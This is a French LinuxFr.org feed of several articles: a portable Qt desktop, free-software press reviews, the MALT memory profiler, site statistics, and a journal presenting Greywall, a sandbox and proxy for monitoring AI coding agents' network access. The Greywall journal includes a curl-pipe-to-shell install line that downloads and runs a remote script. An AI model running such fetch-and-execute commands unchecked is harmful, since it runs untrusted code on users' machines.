Dans l’écosystème des environnements de bureau Linux, on connaît les approches classiques, un gestionnaire de fenêtres, un compositeur, un panel, un menu, des services de session. Orbitiny arrive avec une idée qui semble contre nature, un bureau complet qui se lance comme une simple application, au-dessus de votre environnement actuel, sans remplacer quoi que ce soit, sans ouvrir une nouvelle session, sans toucher à votre configuration.

On clique, et un deuxième bureau apparaît, avec son propre panel, son propre menu, son propre gestionnaire de fichiers, comme une couche graphique autonome qui s’empile sur la première. C’est inhabituel, mais ça fonctionne.

Comment ça marche réellement, sous le capot

Orbitiny n’utilise pas KWin, Mutter ou Openbox. Il embarque son propre mini gestionnaire de fenêtres, écrit en Qt et C++, qui ne prend pas le contrôle de la session. Le système hôte continue de gérer les vraies fenêtres, les notifications, les entrées clavier et souris. Orbitiny ne gère que ce qu’il crée lui-même.

Techniquement, Orbitiny est une application Qt géante, un conteneur qui simule un bureau, un panel, un menu, un gestionnaire de fichiers et des services internes. Cela lui permet de tourner au-dessus de KDE, GNOME, Xfce ou n’importe quoi d’autre, sans conflit de compositeur, sans guerre de raccourcis clavier, sans écraser les paramètres de session.

C’est cette encapsulation qui rend possible le mode portable et l’exécution parallèle.

Qu’est-ce que ça apporte que les autres bureaux n’apportent pas

Orbitiny ne cherche pas à remplacer KDE ou GNOME. Il propose autre chose, un bureau autonome, portable, encapsulé, qui peut être lancé n’importe où, sans installation, sans dépendances lourdes, sans interaction profonde avec le système.

Ce que cela change concrètement :

  1. un bureau que l’on transporte réellement sur une clé USB, avec ses réglages et ses plugins
  2. un environnement isolé pour tester des applications sans polluer son bureau principal
  3. un espace de travail temporaire pour les techniciens, les formateurs, les utilisateurs nomades
  4. une solution pour les distributions live qui veulent proposer un bureau complet sans l’intégrer au système
  5. une manière de contourner les limitations d’un bureau hôte sans le modifier

Orbitiny n’est pas un remplaçant, c’est un bureau parallèle, un bac-à-sable/sandbox graphique.

Des fonctionnalités déjà bien avancées

Le gestionnaire de fichiers maison, Qutiny, propose des fonctions rarement vues ailleurs, fusion de fichiers texte par glisser déposer, fusion d’images verticalement, recherche par nom et par contenu, double panneau, gestion des opérations avec emblèmes visuels. Ce sont des fonctions immédiatement utiles, sans installer d’outils externes.

Le bureau gère les gestes souris, jusqu’à douze par bouton, gauche ou droit. On peut dessiner un cercle pour ouvrir un terminal, une ligne pour lancer un navigateur, un zigzag pour fermer une fenêtre interne. C’est rapide, efficace, et entièrement configurable.

Chaque écran physique peut avoir son propre fond d’écran, ses propres raccourcis, ses propres applets. Chaque bureau virtuel peut également avoir sa propre configuration. Cela permet de créer des espaces de travail réellement indépendants.

Orbitiny détecte automatiquement WINE et DOSBox. On peut lancer un .exe Windows ou un programme DOS directement depuis le bureau ou le gestionnaire de fichiers, sans créer de fichier .desktop ou de configuration manuelle.

Le mode portable, la vraie différence

L’archive fait environ 185 Mo. On la décompresse sur une clé USB, on lance start-orbitiny, et tout fonctionne immédiatement. Tous les réglages sont stockés dans le dossier d’extraction. On peut donc transporter son bureau complet, ses préférences, ses plugins, et les retrouver sur n’importe quelle machine Linux.

Pour les techniciens, c’est un bureau de secours.
Pour les utilisateurs avancés, c’est un environnement jetable.
Pour les curieux, c’est un terrain d’expérimentation sans risque.
Pour les distributions live, c’est un bureau plug and play.

Informations concrètes

Orbitiny est sous licence GPLv3. Le code source et les binaires sont disponibles sur SourceForge. Le projet est développé par Sasko Usinov. Les premières versions datent de 2023, la version actuelle est la 0.3.0.

Orbitiny utilise Qt 5 et Qt 6 selon les modules, du C++ moderne, et une architecture modulaire composée de 48 composants isolés. Si un composant plante, le reste du bureau continue de fonctionner. C’est un choix technique rare dans les environnements de bureau.

Le développement est actif, et les prochaines étapes annoncées concernent l’amélioration du système de plugins, un thème sombre complet et la stabilisation du mode portable.

Premières impressions, un projet jeune mais déjà solide

Orbitiny tourne vite, tourne bien, tourne même très bien pour un bureau qui s’empile sur un autre. Le gestionnaire de fichiers accède directement au système hôte, le panneau de configuration est déjà complet, l’ensemble est fluide et cohérent.

On est loin du prototype bricolé un dimanche soir. Orbitiny ressemble à un projet avec une vision claire, et surtout avec une approche technique différente de ce que l’on voit habituellement.

Un concept étrange mais une idée qui mérite d’exister

Orbitiny ne remplacera pas KDE ou GNOME, mais ce n’est pas son but. Il propose une approche différente, un bureau autonome, portable, encapsulé, qui peut cohabiter avec n’importe quel environnement existant. Rien que pour ça, il mérite d’être essayé.

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • Revue de presse de l’April pour la semaine 15 de l’année 2026
    Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April. [clubic.com] La France et l'open source: qui sont les moutons noirs et pourquoi ça traîne encore? [Silicon.fr] L'Etat réaffirme son intention de réduire ses dépendances IT [GinjFo] VeraCrypt menacé sur Windows: Microsof

Revue de presse de l’April pour la semaine 15 de l’année 2026

Par : echarp
13 avril 2026 à 17:27

Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April.

[clubic.com] La France et l'open source: qui sont les moutons noirs et pourquoi ça traîne encore?

✍ Guillaume Belfiore, le samedi 11 avril 2026.

La France affiche son ambition pour la souveraineté numérique via le logiciel libre. Pourtant, la réalité du terrain est plus nuancée. L’État déploie ses propres outils comme LaSuite mais signe aussi un contrat de 152 millions d’euros avec Microsoft. Cette transition est beaucoup moins fluide que prévu.

[Silicon.fr] L'Etat réaffirme son intention de réduire ses dépendances IT

✍ Philippe Leroy, le vendredi 10 avril 2026.

L’Etat veut accélérer sa démarche pour limiter la dépendance numérique aux solutions extra-européennes.

Et aussi:

[GinjFo] VeraCrypt menacé sur Windows: Microsoft bloque et fragilise tout le projet

✍ Jérôme Gianoli, le jeudi 9 avril 2026.

Dans l’univers du chiffrement, il y a des outils important à l’image de VeraCrypt. Héritier direct de TrueCrypt, ce logiciel open source s’est imposé au fil des années comme une référence pour protéger des fichiers, des partitions ou des disques entiers. Mais aujourd’hui, son avenir sur Windows se retrouve brutalement menacé par une décision de Microsoft.

Et aussi:

[Le Monde Informatique] HackerOne suspend les primes de son bug bounty à cause de l'IA

✍ Maxwell Cooter, le mardi 7 avril 2026.

Le programme de chasse aux vulnérabilités HackerOne ne versera plus de primes liées à leurs découvertes. Le recours à l’IA, qui facilite grandement les failles trouvées, rebat le modèle économique de ce type de plateformes.

[Goodtech] Fin de la licence CoLibre: l'April dénonce un recul stratégique

Le lundi 6 avril 2026.

L’association April vient d’exprimer son profond regret suite à l’annonce de la non-reconduction de la licence professionnelle CoLibre. Une décision motivée par des contraintes budgétaires qui interroge sur la stratégie de formation numérique au sein de l’université française.

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • Rapport d'activité 2025 de l'April - Vidéos des conférences éclairs
    Comme de coutume, l'April publie son rapport annuel d'activité suite à l'assemblée générale de l'association, qui a eu lieu le samedi 28 mars 2026. Nous vous invitons à le consulter en ligne ou en version PDF. 91 pages vous font peut-être un peu peur ? Nous avons pensé à cette éventualité et avons prévu un résumé qui se lit en une dizaine de minutes ;) Bonne lecture à vous ! L'AG est réservée aux membres de l'April. Le matin, un temps de conférences éclairs, ouvert à toute personne, membre o

Rapport d'activité 2025 de l'April - Vidéos des conférences éclairs

Comme de coutume, l'April publie son rapport annuel d'activité suite à l'assemblée générale de l'association, qui a eu lieu le samedi 28 mars 2026. Nous vous invitons à le consulter en ligne ou en version PDF.

91 pages vous font peut-être un peu peur ? Nous avons pensé à cette éventualité et avons prévu un résumé qui se lit en une dizaine de minutes ;)

Bonne lecture à vous !

L'AG est réservée aux membres de l'April. Le matin, un temps de conférences éclairs, ouvert à toute personne, membre ou pas de l'April, a été organisé de 10 h à 12 h. Les présentations et la vidéo des conférences sont disponibles.

La liste des présentations :

  1. Stéphane Bortzmeyer - « Un autre langage pour concurrencer C, Zig »
  2. Natacha Rault - « Les sans pagEs : un projet libre et féministe »
  3. Denis Dordoigne - « La pièce jointe, une calamité »
  4. Éric Le Bihan - «Multiplier par 4 en 4 ans la pénétration de Linux (et du libre) »
  5. Ewa Kadziolka - « Bielik AI, un LLM polonais »
  6. Fabrice Mouhartem - « La collaboration chiffrée de bout en bout avec CryptPad »
  7. Julie Chaumard - « Strapi - CMS headless »
  8. Frédéric Henry - « Ouvrir les projets libres de l'April à la contribution »
  9. Boris Valero - « Les divisions dans la communauté linux en particulier et du libre en général »
  10. Françoise Conil - « MkDocs, Material et Zensical »
  11. Régis Perdreau - « ODFStudio.org : réinventer la contribution francophone à la bureautique libre ! »
  12. Bookynette - « Quel genre de bénévoles êtes-vous ? »
  13. Anne L'hôte - «OpenHikePlanner - Marcher et rouler librement »
  14. Christophe Villeneuve - « La navigation web de façon humaine »
  15. Olivier Deiber - « Réparer le Futur »

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • J'ai mis un proxy entre claude et Internet
    Je sais que le mot "IA" sur LinuxFr, c'est un peu comme prononcer "systemd" en 2015 ; ça ne laisse personne indifférent. Et je comprends. La merdification est réelle, la bulle est réelle, les externalités sont réelles. Je n'ai aucune envie d'en rajouter une couche. Mais voilà, les lignes sont devenues floues, et j'ai pris le virage du coding assisté. D'abord avec curiosité et prudence, et maintenant les deux pieds dans le plat : ça ne remplace pas ma façon de penser, mais ça m'a ouvert des porte

J'ai mis un proxy entre claude et Internet

Je sais que le mot "IA" sur LinuxFr, c'est un peu comme prononcer "systemd" en 2015 ; ça ne laisse personne indifférent. Et je comprends. La merdification est réelle, la bulle est réelle, les externalités sont réelles. Je n'ai aucune envie d'en rajouter une couche. Mais voilà, les lignes sont devenues floues, et j'ai pris le virage du coding assisté. D'abord avec curiosité et prudence, et maintenant les deux pieds dans le plat : ça ne remplace pas ma façon de penser, mais ça m'a ouvert des portes : des concepts que je ne maîtrisais pas, des langages que je n'aurais pas pris le temps de toucher avant ; l'assistant me permet d'explorer, de comprendre, et de construire des outils qui m'aident. Et j'espère qu'ils aident d'autres personnes aussi.

Sauf que voilà. Au début, j'étais prudent. Je vérifiais chaque commande, chaque accès. Et puis petit à petit, j'ai lâché prise. J'ai désactivé les confirmations, laissé l'agent tourner sans supervision, accepté les permissions sans lire. On connaît tous ce moment où on clique "Allow" les yeux fermés parce que c'est la quinzième fois qu'il demande. J'ai fait exactement ce qu'on ne devrait jamais faire en sécurité : faire confiance par défaut.

Et un jour, je me suis dit : je n'ai aucune idée de ce que cet agent envoie sur le réseau. Aucune.

Alors j'ai construit un proxy un peu.. particulier.

Sommaire

Cher journal,

Ça fait un bail que je n'ai pas vraiment contribué à l'open source. Mes derniers vrais projets publics, c'était Kivy et les projets autour… ça remonte à quelques années maintenant, et j'ai pris ma "retraite" sur ces projets.

Mais je n'ai jamais arrêté de coder. J'ai juste réalisé un truc sur moi-même : le code, c'est un peu comme la musique pour moi. J'aime construire des choses. Je m'exprime mieux avec un éditeur et un terminal qu'avec ma voix ou mes mots. C'est probablement pour ça que je suis là à t'écrire un journal au lieu de faire un talk quelque part.

Le constat

On a passé des années à construire des pare-feux, des IDS, du monitoring pour nos serveurs de prod. Sur des entreprises plus grandes, on traque les connexions suspectes… Et puis un agent IA débarque sur notre machine de dev, on lui dit "tiens, refactore-moi ce module", et il fait ce qu'il veut sur le réseau sans qu'on le sache.

C'est quand même un peu absurde, non ?

Le truc, c'est qu'il n'existe pas vraiment d'équivalent à tcpdump ou iptables pour les agents IA sur nos machines. Pas de couche d'observabilité entre l'agent et Internet. Ou on contrôle, on se fait notre liste d'outils qu'on accepte, ou on fait confiance parce que bon, la sécurité, c'est pas si important… vraiment ?

Greywall et greyproxy

Avec l'équipe de Greyhaven, on a construit deux outils open source :

Greywall est un bac à sable deny-by-default pour les agents IA. Pas de Docker, pas de VM. Ça utilise directement les mécanismes du noyau Linux (namespaces, Landlock, Seccomp, eBPF) pour isoler le processus. Sur Linux, l'isolation réseau passe par un device TUN dans un namespace réseau dédié ; le processus sandboxé ne peut structurellement pas contourner le proxy. Sur macOS, c'est un peu moins élégant en utilisant des variables d'environnement pour forcer un proxy socks5h, si l'outil ne le supporte pas, il ne peut quand même pas sortir. Ça fait le job pour la plupart des outils.

Greyproxy est le plan de contrôle réseau. Un proxy SOCKS5/HTTP avec un dashboard web temps réel. Chaque connexion sortante de l'agent apparaît dans le dashboard. Si aucune règle ne matche, la connexion reste en attente et tu peux l'autoriser ou la refuser en direct, sans relancer la session.

Concrètement, ça donne :

greywall -- claude

Et hop, Claude Code tourne dans son bac à sable. Tu ouvres http://localhost:43080 et tu vois en direct chaque domaine qu'il tente de contacter. Tu autorises api.anthropic.com, tu autorises github.com pour les pushes, tu refuses le reste. Tout est interactif, tout est visible.

Ce que j'ai observé

Au début, c'était juste des connexions supplémentaires. Tiens, c'est quoi ces appels à opencode.ai quand je démarre opencode ? Tiens, pourquoi Claude appelle 2x toutes les 4 minutes un domaine chez Google ? Entre de la télémétrie que l'on ne peut pas désactiver, ou des requêtes qui font "office" de regarder si une nouvelle version est disponible… 2x toutes les 4 minutes. Ce n'est pas le meilleur argument, mais contrairement aux autres sandboxes, au moins ici je le vois en temps réel, et je peux dire oui ou non sur ce que peut accéder la commande.

Le dashboard de greyproxy rend tout ça visible. Tu vois passer les requêtes DNS, les connexions TCP, les domaines contactés. Tu peux construire progressivement une liste d'autorisations adaptée à ton projet. Il y a même un mode apprentissage qui trace les accès filesystem avec strace et génère automatiquement un profil de sécurité.

Ce n'est pas un outil pour les paranos. C'est un outil pour ceux qui pensent que l'observabilité, c'est un droit, pas un luxe.

Pourquoi ça compte

Je sais que l'enthousiasme pour l'IA est réellement différent en fonction des gens. Les questions sur la qualité du code généré, la consommation énergétique, la centralisation chez les GAFAM ; tout ça est légitime.

Mais justement. Si on utilise ces outils (et beaucoup d'entre nous le font, même ceux qui restent prudents), autant le faire avec les yeux ouverts. Greywall, c'est pas un outil pour promouvoir l'usage des agents IA. C'est un outil pour que, si tu en utilises un, tu gardes le contrôle.

Il y a une phrase qu'on a mise sur le site et qui résume bien l'idée :

"The security layer around your tools should be independent of the company selling you the AI."

La couche de sécurité autour de tes outils ne devrait pas dépendre de la boîte qui te vend l'IA. Claude a son propre sandbox intégré, Codex a le sien. Mais tu fais confiance aux entreprises pour te protéger d'elles-mêmes ? C'est un problème d'indépendance, pas de technologie.

Greywall est agnostique. Ça marche avec Claude Code, Codex, Cursor, Aider, Goose, Gemini CLI, Cline, et une dizaine d'autres. Tu changes d'agent, ta couche de sécurité reste la même.

Et après : vers un proxy sémantique

Le greyproxy actuel travaille au niveau des connexions : il voit les domaines, les ports, les IPs. Il ne déchiffre pas le TLS, il ne lit pas le contenu. C'est déjà très utile pour contrôler les accès réseau.

Mais là où ça devient vraiment intéressant, c'est quand on commence à reconstruire les conversations LLM qui passent par le proxy. Pas en cassant le chiffrement ; en instrumentant le flux côté client. L'idée, c'est de construire un proxy sémantique qui comprend ce que l'agent envoie et reçoit, qui peut faire du remplacement de variables d'environnement à la volée (pour ne jamais exposer tes vrais secrets à l'API du LLM), et qui te donne une vision complète de ce que l'IA fait en ton nom.

On en est au début, mais la direction est claire : remettre l'humain au milieu du système. Pas comme un goulot d'étranglement, mais comme un observateur informé qui peut intervenir quand c'est nécessaire. C'est ce qui manque cruellement à des systèmes comme OpenClaw et à la plupart des outils d'orchestration d'agents.

Pour essayer

Installation rapide :

# Homebrew
brew tap greyhavenhq/tap && brew install greywall

# Ou via curl (pas taper)
curl -fsSL https://raw.githubusercontent.com/GreyhavenHQ/greywall/main/install.sh | sh

Ça tourne sur Linux et macOS. Sur Linux, il te faut bubblewrap et socat comme dépendances. Greyproxy s'installe comme service systemd si tu veux qu'il tourne en permanence.

Si tu veux comprendre les détails techniques de l'architecture (les 5 couches de sécurité, pourquoi on a abandonné Docker, comment fonctionne la capture réseau transparente), on a écrit un article technique détaillé ici : https://greyhaven.co/insights/why-we-built-our-own-sandboxing-sytem

La question

J'ai une vraie question pour la communauté. Ceux d'entre vous qui utilisent des agents IA pour coder (même occasionnellement, même à contrecœur) : comment vous gérez la sécurité ? Vous faites confiance par défaut ? Vous avez mis en place quelque chose ? Ou vous préférez ne pas y penser ?

Et pour ceux qui n'utilisent pas d'agents IA : est-ce que le manque de transparence et de contrôle fait partie des raisons ?

Ça m'intéresse vraiment de savoir :)

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • Profileur mémoire MALT 1.6.0 et support de Python
    MALT c'est quoi ? L'optimisation est une activité connue de bien des développeurs, fouiller, chercher dans son code, pour, peut être, gagner un peu de performance (beaucoup, parfois). Dans cette tâche ardue, face à des codes grandissants, massifs, utilisant de nombreuses bibliothèques externes, un outil central dans ce travail de fourmi : le profileur. Le profileur fait partie des outils importants pour le développeur qui se soucie des ressources qu'il utilise. Il lui permet de chercher les po

Profileur mémoire MALT 1.6.0 et support de Python

MALT c'est quoi ?

L'optimisation est une activité connue de bien des développeurs, fouiller, chercher dans son code, pour, peut être, gagner un peu de performance (beaucoup, parfois). Dans cette tâche ardue, face à des codes grandissants, massifs, utilisant de nombreuses bibliothèques externes, un outil central dans ce travail de fourmi : le profileur.

Le profileur fait partie des outils importants pour le développeur qui se soucie des ressources qu'il utilise. Il lui permet de chercher les points chauds dans son code, comprendre le cout de chaque fonction, chaque ligne implémentée. Bien des outils s'intéressent à une chose : bien utiliser votre processeur.

Mais que se passe-t-il si vous rencontrez des difficultés avec l'utilisation de votre mémoire ? Si vous pensez mal utiliser la fonction malloc() du C ou l'opérateur new du C++ ? Si vous avez oublié qu'une de vos variables globales occupe 10 Go (surtout en Fortran) ?

Publié il y a quelques années MALT (licence CeCILL-C) permet de répondre à la question en cherchant toutes les allocations mémoires faites par votre code. Cet outil avait fait l'objet d'un article sur LinuxFR en 2018 lors de sa mise en open source : Profileurs mémoire MALT et NUMAPROF.

Versions 1.6.0

Avancées

Depuis, cet outil fait son chemin avec l'ajout du support de Rust ainsi que nombreuses corrections et ajouts tels que la possibilité de dumper le profile mémoire juste avant que le système ne soit plein.

malt -o dump:on-sys-full-at=80% -o watch-dog=true ./mon_programme

# également :
#  -o dump:on-app-using-rss=10G
#  -o dump:on-app-using-virt=80%
#  -o dump:on-app-using-req=500M

La possibilité de suivre les appels à mmap, mremap, munmap si vous les appelez directement dans votre code au lieu de laisser malloc faire son travail.

Support de python

MALT a initialement été développé dans le contexte du calcul à haute performance — HPC (High Performance Computing) donc surtout pour le C / C++ / Fortran / Rust.

Dans la communauté scientifique, nous voyons dans les laboratoires de plus en plus fleurir l'usage d'un langage à priori bien éloigné de nos prérogatives de performances : Python.

Dans un cadre de calcul scientifique, il est souvent utilisé plutôt comme un wrapper permettant d'appeler et d'orchestrer des bibliothèques en C /C++ / Fortran, elles, performantes. Quoi que l'usage amène aussi à l'écrire de certaines parties du code en Python grâce à Numpy ou Numba pour accéléré la partie calcule sur des tableaux ou autres frameworks d'exploitation des GPU.

La version 1.6.0 de MALT vient d'ajouter le support (encore quelque peu expérimental) natif de Python permettant d'analyser un code pur python ou mix Python / C / C++…. Il s'agit pour l'instant de la première version avec ce support, il reste donc du travail.

Sont supportés les versions Python supérieures à 3.11 ainsi que les environnements Conda / Anaconda / Venv. À l'heure de rédaction de cet article, cela comprend les versions 3.11 à 3.14.

MALT étant orienté C / C++, il ne supporte que Linux comme système d'exploitation. (NdM: la causalité évoquée ici devrait faire réagir des développeurs d'autres systèmes libres notamment :))

Utilisation sur Python

Si la commande malt fonctionne parfaitement, il est recommandé d'utiliser le wrapper malt-python qui adapte quelques configurations spécifiques à Python non encore automatiques.

malt-python ./script.py

# équivalent à 
malt --profile python-default ./script.py

# liste des profiles
malt --profile help

# Afficher le profile
malt-webview ./malt-script-py-6889.json

Profilage rapide

Notons que l'overhead de MALT est important en Python du fait du large nombre d'allocations générées par ce langage et de la méthode de résolution des piles d'appels pour retrouver les lignes dans votre code. Ces détails d'analyse peuvent être désactivés via :

# Désactivé complète de l'analyse des piles
malt-python -p python-no-stack ./my_script.py

# Analyse des piles par "sampling"
malt-python -p python-sampling ./my_script.py

Nouvelle interface

La version 1.6.0 arrive également avec une nouvelle interface graphique avec un code remis à jour
par rapport à sa version originale vieillissante.

Capture annotation python

Profil statique

Pour ceux qui voudraient échanger les profils avec d'autres sur d'autres OS, il est possible depuis la 1.6.0 de générer une version statique des pages de l'interface (hors annotation des sources et arbre d'appel navigable) via :

# Toues les pages possible en statique
malt-webview -static ./report malt-progr-123456.json

# Seulement la page de résumé.
malt-webview -static-summary ./report malt-progr-123456.json

Installation

MALT n'est pas encore disponible dans les distributions classiques, vous devez donc le compiler et l'installer à la main. Le nombre réduit de dépendances obligatoires en fait un outil relativement facile à installer.

On trouvera la procédure dans la documentation du projet.

Documentation

La documentation a été complètement ré-écrite et disponible sur le site officiel : documentation.

Outils similaires pour Python

Découvrir un outil est aussi l'occasion d'en découvrir d'autres. Restons dans le monde du Python, si MALT ne vous convient pas vous trouverez peut-être votre bonheur avec les outils suivants et complémentaires à MALT et eux totalement dédiés au Python toujours pour la mémoire :

  • Memray (Apache Public License 2)
  • Scalene (Apache Public License 2)

MALT se positionne par rapport aux deux présentés en apportant une analyse fine en annotant tout le source code de l'application. Il offre également une analyse des variables globales et TLS coté C/C++/Fortran/Rust.

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • Revue de presse de l’April pour la semaine 3 de l’année 2026
    Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April. [Numerama] Contrôles CAF: comment fonctionne le nouvel algorithme de data mining? [Mediapart] Wikipédia, les 25 ans d'une utopie réussie devenue le punching-ball de l'extrême droite (€) [Républik IT Le Média] Software H

Revue de presse de l’April pour la semaine 3 de l’année 2026

Par : echarp
19 janvier 2026 à 15:24

Cette revue de presse sur Internet fait partie du travail de veille mené par l’April dans le cadre de son action de défense et de promotion du logiciel libre. Les positions exposées dans les articles sont celles de leurs auteurs et ne rejoignent pas forcément celles de l’April.

[Numerama] Contrôles CAF: comment fonctionne le nouvel algorithme de data mining?

✍ Amine Baba Aissa, le dimanche 18 janvier 2026.

Alors que le dispositif avait suscité de nombreuses critiques au sein d’associations en France, la CNAF a choisi de ne pas renoncer à son algorithme de contrôle des allocataires et vient de déployer un nouveau modèle de «data mining».​ Cette fois, l’organisme mise sur une communication plus transparente et a décidé

[Mediapart] Wikipédia, les 25 ans d'une utopie réussie devenue le punching-ball de l'extrême droite (€)

✍ Dan Israel, le jeudi 15 janvier 2026.

L’encyclopédie en ligne, gratuite et coopérative, a été lancée le 15 janvier 2001. Avec 65 millions d’articles en 326 langues, son succès a dépassé toutes les attentes, malgré les critiques régulière…"

[Républik IT Le Média] Software Heritage: dix ans de préservation du patrimoine applicatif

✍ Bertrand Lemaire, le mercredi 14 janvier 2026.

Le 28 janvier 2026, Software Heritage fêtera ses dix ans à l’Unesco. Morane Gruenpeter, directrice de la verticale Open-Science, et Bastien Guerry, responsable des partenariats, présentent cette initiative qui vise à préserver le patrimoine applicatif quelque soit le sort des éditeurs ou les feuilles de route de ceux-ci.

[ZDNET] Logiciel libre et souveraineté: la Commission européenne lance un appel à contributions

✍ Thierry Noisette, le lundi 12 janvier 2026.

La Commission propose jusqu’au 3 février aux développeurs, entreprises et communautés open source, administrations et chercheurs de contribuer à la future stratégie européenne d’écosystème numérique ouvert. En identifiant les obstacles à l’adoption de l’open source et en suggérant des mesures concrètes.

Et aussi:

Commentaires : voir le flux Atom ouvrir dans le navigateur

  • ✇LinuxFr.org : les dépêches
  • Statistiques 2025 du site LinuxFr.org
    2025 est amené son lot de changements : un trafic en hausse principalement en raison des moteurs de recherche et d’IA et du spam, plus de contenus publiés mais moins de commentaires. Que cela ne nous empêche pas de revenir sur l’année passée, l’activité du site LinuxFr.org, les détails des changements en termes de trafic Web, de contenus créés, de commentaires déposés, de navigateurs utilisés, d’utilisation des fonctionnalités du site, de contribution au code, etc. Bref, quelles sont les tendanc

Statistiques 2025 du site LinuxFr.org

2025 est amené son lot de changements : un trafic en hausse principalement en raison des moteurs de recherche et d’IA et du spam, plus de contenus publiés mais moins de commentaires. Que cela ne nous empêche pas de revenir sur l’année passée, l’activité du site LinuxFr.org, les détails des changements en termes de trafic Web, de contenus créés, de commentaires déposés, de navigateurs utilisés, d’utilisation des fonctionnalités du site, de contribution au code, etc. Bref, quelles sont les tendances ?

Le site rend accessible un grand nombre de statistiques (faites‑vous plaisir si vous souhaitez vous plonger dedans, c’est fait pour) ; cette dépêche résume les variations constatées en 2025.

Nb: le podcast Projets Libres fournit aussi des statistiques publiques.

Sommaire

Statistiques Web

La comparaison des statistiques annuelles (voir 2024 et 2025, les deux comportant des effets de bots bourrins visiblement) montre un quasi doublement des visites, hausse des consultations (pages, fichiers) et des hits (notamment l’effet des bots pour l’intelligence artificielle), avec un passage à ~996 000 hits par jour et ~149 800 visites par jour, le tout pour ~1,77 Tio par mois.

Statistiques Web 2025

Le nombre de contenus publiés en un an augmente de 10 %. Le nombre de commentaires publiés en un an diminue cette année de 3%.

Trafic de LinuxFr.org normalisé, entre 2002 et 2025

Contenus

Au 31 décembre 2025, le site comportait environ 123 820 contenus publiés répartis ainsi :

  • 28 185 dépêches :
    • 386 dépêches publiées en 2025 (➡️, 383 en 2024),
    • la taille moyenne (en code Markdown, hors images donc) des dépêches a encore très nettement augmenté, battant le précédent record de 2019 ;
  • 40 701 journaux (↗️, 409 en 2024 et 460 en 2025),
  • 41 047 entrées de forums (↘️, 458 en 2024 et 406 en 2025),
  • 11 140 liens (↗️,2050 en hausse par rapport aux 1714 en 2024),
  • 475 sondages (10 en 2024 et 7 en 2025),
  • 159 pages de wiki (5 en 2024 et 2 en 2025).

Pour la première année, le pic de publication des contenus se confirme le mercredi. Ce qui continue à différer désormais du pic de modération, voir la partie Modération plus bas).

Un jour de semaine compte 64 % de publications en plus qu’un jour de week-end.

La publication sous licence Creative Commons By-SA se fait par défaut depuis les dix ans de CC, fin 2012 pour les dépêches (permet explicitement une rédaction collaborative ou un renvoi en re‐rédaction) et les journaux (qui peuvent être convertis en dépêches) : tout naturellement, on retrouve 97 % de dépêches et 99 % des journaux sous cette licence au final (les autres étant notamment sous licence Art Libre ou autre, au choix de l’auteur).

Les dépêches collaboratives (et pas uniquement celles réattribuées à l’utilisateur Collectif) sur de multiples sujets sont toujours à compter parmi les vraies réussites du site ; nous sommes cependant toujours à la recherche de volontaires pour couvrir les nombreux sujets qui n’ont pu être abordés. Une liste des thèmes récurrents sur LinuxFr.org peut donner des idées de participation : si une dépêche n’a pas été créée dans les temps, tout inscrit peut la démarrer dans l’espace de rédaction.

Concernant la visibilité par contenu (analyse sur décembre 2023) : les journaux ont jusqu’à deux fois moins de visibilité que les dépêches (faites des dépêches…) et les liens ont beaucoup moins de visibilité que les journaux et les dépêches (préférez donc faire des dépêches ou des journaux, pour la visibilité).

Modération

Le temps moyen passé entre la création d’une dépêche (en rédaction ou directement envoyée en modération) et sa modération et publication est de 600 (!) heures (contre 309 h en 2023 et 337 h en 2024) ; la mesure du temps passé uniquement en modération n’est pas actuellement disponible (et la modération retient volontairement des dépêches non urgentes pour réguler la publication) ; le temps médian est descendu à 22 heures. Il y a des demandes de statistiques dans le suivi, envoyez les demandes d’intégration Git (pull‐requests). ;-)

Le jour préféré de modération a priori des contenus est toujours le mardi pour les dépêches et le lundi pour les sondages.

Commentaires

Au 31 décembre 2025, le site comporte 1,97 million de commentaires. Le nombre de commentaires publiés en un an baisse cette année de 3 % pour arriver à 31 011.

Il y a désormais, en moyenne, 24 commentaires par journal (29 en 2023 et 29 en 2024), 9 par dépêches (9 en 2023 et 9 en 2024), 47 par sondage (54 précédemment, mais très dépendant des sondages considérés), 9 par entrée de forum (7 en 2023 et 8 en 2024), 2 par entrée de suivi, 6 par lien (contre 7 en 2023 et 7 en 2024) et une poignée par page wiki.

Le jour préféré pour commenter reste le mercredi, et un jour de semaine compte deux fois plus de commentaires qu’un jour de week-end.

Notes

Il n’y a (toujours) pas de statistiques disponibles concernant les notes. Les entrées de suivi sur les statistiques n’ont pas avancé.

Néanmoins diverses statistiques concernant la notation sur les contenus et les commentaires ont été données en juin 2021, avec des graphes.

Étiquettes (tags)

Au 31 décembre 2025, le site comporte :

  • 16 502 étiquettes, dont 13 594 étiquettes publiques (contre 12 867 fin 2024) ;
  • 195 491 saisies d’étiquettes (étiquetées en moyenne treize fois pour les étiquettes publiques et cinq fois pour les étiquettes privées) ;
  • les étiquettes sont réparties ainsi par contenu :
    • 68 367 pour les dépêches,
    • 54 720 pour les journaux,
    • 31 732 pour les forums,
    • 38 903 pour les liens,
    • 835 pour les pages wiki,
    • 397 pour les sondages,
    • 537 pour le système de suivi des défauts et évolutions.

Plus de détails dans la dépêche de février 2022 À propos des étiquettes sur le site LinuxFr.org.

Depuis le début du site, on constate en moyenne 5 étiquettes par page wiki, 3,5 par lien, 2,4 par dépêche, 1,3 par journal, 0,8 par sondage, 0,8 par entrée de forum et 0,3 par entrée du suivi.

Le jour préféré pour apposer des étiquettes est le lundi (biais de la création initiale des étiquettes), suivi du samedi.

Il y a plusieurs biais concernant les étiquettes :

  • beaucoup ont été et sont ajoutées automatiquement ;
  • le thème mobile par défaut ne montre pas les étiquettes (sauf à basculer son Firefox en « Version ordinateur » ou équivalent sur un autre navigateur).

Équipe de bénévoles

